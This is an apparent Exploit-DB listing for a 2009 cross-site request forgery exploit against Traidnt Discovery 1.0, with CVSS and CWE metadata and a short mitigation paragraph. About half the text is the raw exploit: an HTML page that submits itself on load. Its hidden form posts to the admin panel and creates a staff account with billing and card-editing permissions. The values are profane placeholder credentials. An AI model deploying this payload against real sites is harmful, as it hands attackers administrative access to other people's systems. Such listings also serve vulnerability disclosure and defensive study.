Traidnt Discovery - [CSRF] Create Staff Account

vendor:

Traidnt Discovery

by:

G0D-F4Th3r

5.5

CVSS

MEDIUM

CSRF

352

CWE

Product Name: Traidnt Discovery

Affected Version From: 1

Affected Version To: 1

Patch Exists: NO

Related CWE:

CPE:

Metasploit:

Other Scripts:

Platforms Tested:

2009

Traidnt Discovery – [CSRF] Create Staff Account

This exploit allows an attacker to create a staff account in the Traidnt Discovery software through a Cross-Site Request Forgery (CSRF) attack. By submitting a form with hidden fields containing the necessary account information, the attacker can bypass the authentication process and create a new staff account.

Mitigation:

To mitigate this vulnerability, the software should implement CSRF protection mechanisms such as random tokens or referer checks. Additionally, input validation should be performed on all user-submitted data.

Source

Exploit-DB raw data:

# Exploit Title: Traidnt Discovery - [CSRF] Create Staff Account
# Date: 14-12-2009
# Author: G0D-F4Th3r
# Software Link: http://discovery.traidnt.com/demo/
# Version: 1.0

====================================[form]================================================
<html>
<body onload="javascript:fireForms()">

<form method="POST" name="form0" action="http://www.site.com/[path]/admincp/staff.php?do=addnew&go=add">
<input type="hidden" name="username" value="fuck"/>
<input type="hidden" name="password" value="fuckpass"/>
<input type="hidden" name="email" value="mail@mail.com<mailto:mail@mail.com>"/>
<input type="hidden" name="realname" value="fuck name"/>
<input type="hidden" name="sig" value=""/>
<input type="hidden" name="viewsig" value="0"/>
<input type="hidden" name="receivemsg" value="1"/>
<input type="hidden" name="cat_array[]" value="1"/>
<input type="hidden" name="cat_array[]" value="3"/>
<input type="hidden" name="cat_array[]" value="2"/>
<input type="hidden" name="viewserver" value="1"/>
<input type="hidden" name="viewonline" value="1"/>
<input type="hidden" name="sendmsg" value="1"/>
<input type="hidden" name="accessbill" value="1"/>
<input type="hidden" name="editcard" value="1"/>
<input type="hidden" name="editcomm" value="1"/>
<input type="hidden" name="service" value="1"/>
</form>
</body>
</html>